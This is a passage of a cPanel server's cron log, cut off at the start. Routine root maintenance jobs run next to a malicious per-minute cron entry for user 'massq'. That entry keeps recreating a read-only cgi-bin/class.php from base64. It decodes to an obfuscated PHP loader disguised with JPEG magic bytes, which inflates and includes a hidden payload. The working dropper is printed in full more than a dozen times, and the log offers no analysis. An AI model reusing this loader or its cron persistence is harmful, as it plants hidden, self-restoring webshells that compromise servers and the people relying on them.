B6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 13:36:01 server CROND[29521]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 13:36:01 server CROND[29522]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 13:36:01 server CROND[29523]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 13:37:01 server CROND[29925]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 13:37:01 server CROND[29926]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 13:37:01 server CROND[29927]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 13:38:01 server CROND[30424]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 13:38:01 server CROND[30425]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 13:38:01 server CROND[30426]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 13:39:01 server CROND[30815]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep  1 13:39:01 server CROND[30816]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 13:39:01 server CROND[30814]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 13:39:01 server CROND[30817]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 13:40:01 server CROND[31229]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  1 13:40:01 server CROND[31230]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  1 13:40:01 server CROND[31231]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  1 13:40:01 server CROND[31238]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 13:40:01 server CROND[31240]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 13:40:01 server CROND[31237]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  1 13:40:01 server CROND[31242]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 13:40:01 server CROND[31236]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  1 13:41:01 server CROND[32087]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 13:41:01 server CROND[32088]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 13:41:01 server CROND[32089]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 13:42:01 server CROND[32518]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 13:42:01 server CROND[32519]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 13:42:01 server CROND[32520]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  1 13:42:01 server CROND[32522]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 13:43:01 server CROND[540]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 13:43:01 server CROND[539]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 13:43:01 server CROND[541]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 13:44:01 server CROND[943]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 13:44:01 server CROND[944]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 13:44:01 server CROND[945]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 13:45:01 server CROND[1425]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 13:45:01 server CROND[1427]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  1 13:45:01 server CROND[1430]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  1 13:45:01 server CROND[1432]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 13:45:01 server CROND[1431]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 13:45:01 server CROND[1433]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  1 13:45:01 server CROND[1434]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  1 13:46:01 server CROND[2357]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 13:46:01 server CROND[2358]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 13:46:01 server CROND[2359]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 13:47:01 server CROND[2771]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 13:47:01 server CROND[2772]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 13:47:01 server CROND[2773]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 13:48:01 server CROND[3247]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 13:48:01 server CROND[3248]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
